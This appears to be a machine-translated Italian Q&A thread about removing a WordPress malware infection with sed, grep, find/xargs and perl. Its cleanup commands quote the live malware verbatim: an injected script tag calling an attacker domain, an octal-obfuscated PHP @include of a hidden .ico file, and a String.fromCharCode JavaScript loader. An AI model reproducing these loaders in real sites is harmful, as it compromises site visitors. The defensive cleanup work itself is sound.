bash - Come sostituire l'intera stringa usando sed o possibilmente grep




shell (5)

Hai installato il plugin wp-mail-smtp? Abbiamo lo stesso malware e abbiamo avuto qualcosa di strano in wp-content/plugins/wp-mail-smtp/src/Debug.php .

Inoltre, il collegamento javascript si trova in ogni campo wp_posts in wp_posts nel database di WordPress.

Quindi il mio intero server è stato violato o ha avuto il problema del malware. il mio sito è basato su WordPress e la maggior parte dei siti ospitati sul mio server è basato su WordPress. L'hacker ha aggiunto questa riga di codice a ogni singolo file e nel database

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

L'ho cercato tramite grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Sto cercando di sostituirlo in tutta la struttura dei file con sed e ho scritto il seguente comando.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Sto provando a sostituire prima la stringa su un singolo file index.php , quindi so che funziona.

e so che il mio codice è sbagliato. Per favore, aiutatemi con questo.

Modifica: ho provato con il codice @ Eran e ha eliminato l'intera riga, il che è buono e come previsto. Tuttavia, il gergo totale è questo

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

E mentre desidero eliminare tutto il contenuto, desidero mantenere il tag di apertura php <?php .

Anche se la soluzione di @slybloty è semplice e ha funzionato.

quindi per rimuovere completamente il codice da tutti i file interessati. Sto eseguendo i seguenti 3 comandi, grazie a tutti voi per questo.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Per rimuovere la riga dello script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Per rimuovere la riga @include
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Per rimuovere la riga di commento

Inoltre, ho eseguito di nuovo tutti e 3 i comandi per '*.html' , perché lo script dell'hacker ha creato index.html indesiderato in tutte le directory. Non ero sicuro che la cancellazione di questi index.html alla rinfusa sia l'approccio giusto.

ora, ho ancora bisogno di capire i file spazzatura e le sue tracce.

MODIFICA 2:

Lo script hacker ha aggiunto anche il codice JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Sto provando a vedere se riesco anche a sed .


Oggi ho la stessa cosa, a tutti i post delle pagine è stato aggiunto lo script. Ho gestito con successo con loro utilizzando https://en.wordpress.org/plugins/search-and-replace/ plugin.

Inoltre, ho anche trovato un record nella stringa di folowing della colonna post_content nella tabella wp_posts:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

e cancellato manualmente.


Per me ha funzionato questo:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Devi cercare: * .js, * .json, * .map


Qualunque sia il metodo che decidi di utilizzare con sed, puoi eseguire più processi contemporaneamente su più file con opzioni di filtro perfette con find e xargs . Per esempio:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Lo farà:

  • find - trova
  • -type f - solo file
  • -name '*.txt' - che termina con php
  • -print0 - stampateli separati da zero byte
  • | xargs -0 | xargs -0 - per ogni file separato da zero byte
  • -P7 - esegue 7 processi contemporaneamente
  • -n1 - per ogni file
  • sed - per ogni file eseguito sed
  • -i - modifica il file in atto
  • '...' - lo script sed che vuoi eseguire da altre risposte.

Potresti voler aggiungere l'opzione -t a xargs per vedere l'avanzamento. Vedi man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


le virgolette singole sono prese letteralmente. Non ci sono personaggi di fuga lì. Quindi quando fai var='hello\'' , hai un preventivo non chiuso. Usa le virgolette doppie per racchiudere il comando sed o devi terminare la singola stringa tra virgolette e aggiungere \' e riaprire la stringa di virgolette ... ma questo crea confusione. Inoltre, sed può usare qualsiasi delimitatore per separare i comandi. Dal momento che hai effettivamente delle barre nei comandi, sarebbe più facile usare le virgole o qualcosa del genere. Quindi puoi farlo:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Oppure il secondo metodo che ho suggerito è un po 'più confuso:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Questo esempio è più educativo che pratico. Ecco come funziona '\'' :

Primo ' : termina la stringa letterale quotata corrente

\' : Inserisci una virgoletta come carattere letterale

Secondo ' : reinserire la stringa letterale tra virgolette

Finché non ci sono spazi, continuerai semplicemente il tuo comando sed . Questa idea è qualcosa che ritengo sia davvero unica da bash .

Lascio lì l'escaping < e > perché non sono del tutto sicuro per cosa lo stai usando. sed usa \< e \> per indicare la corrispondenza delle parole. Non sono sicuro che sia intenzionale o no ...

Se questo non corrisponde a nulla, probabilmente si desidera evitare di sfuggire a < e > .

Modifica: vedere la soluzione di @EranBen-Natan nei commenti per una soluzione più pratica al problema reale. La mia risposta è più di una risorsa sul motivo per cui all'OP è stato richiesto di inserire più input con il suo comando originale.

Soluzione per la modifica 2

Perché questo funzioni, sto assumendo che tua sed abbia l'opzione non standard -z . La versione GNU di sed dovrebbe avere questo. Sto anche assumendo che questo codice appaia sempre nel formato lungo 6 righe

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Come funziona: stiamo usando l'inizio della riga fromCharCode per abbinare tutto. -z divide il file su null anziché su nuove righe. Questo ci consente di cercare direttamente i feed di riga.

[^\n]*\n : significa solo abbinare tutto fino a un avanzamento riga, quindi abbinare l'avanzamento riga. L'idea qui è di evitare la corrispondenza avida regex. Poiché non stiamo suddividendo i feed di riga ( -z ), regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n corrisponderebbe alla corrispondenza più grande possibile. Ad esempio, se \n}\n apparisse in un punto qualsiasi del file più in basso, elimineresti tutto il codice tra di esso e il codice dannoso. Quindi ripetere questa sequenza 6 volte ci abbina alla fine della prima riga e alle successive 5 righe.

grep -lr - Solo un grep ricorsivo in cui elenchiamo solo i file che hanno lo schema corrispondente. In questo modo, sed non sta modificando tutti i file. Senza questo, -i.bak (non semplicemente -i ) farebbe un vero casino di cose.





grep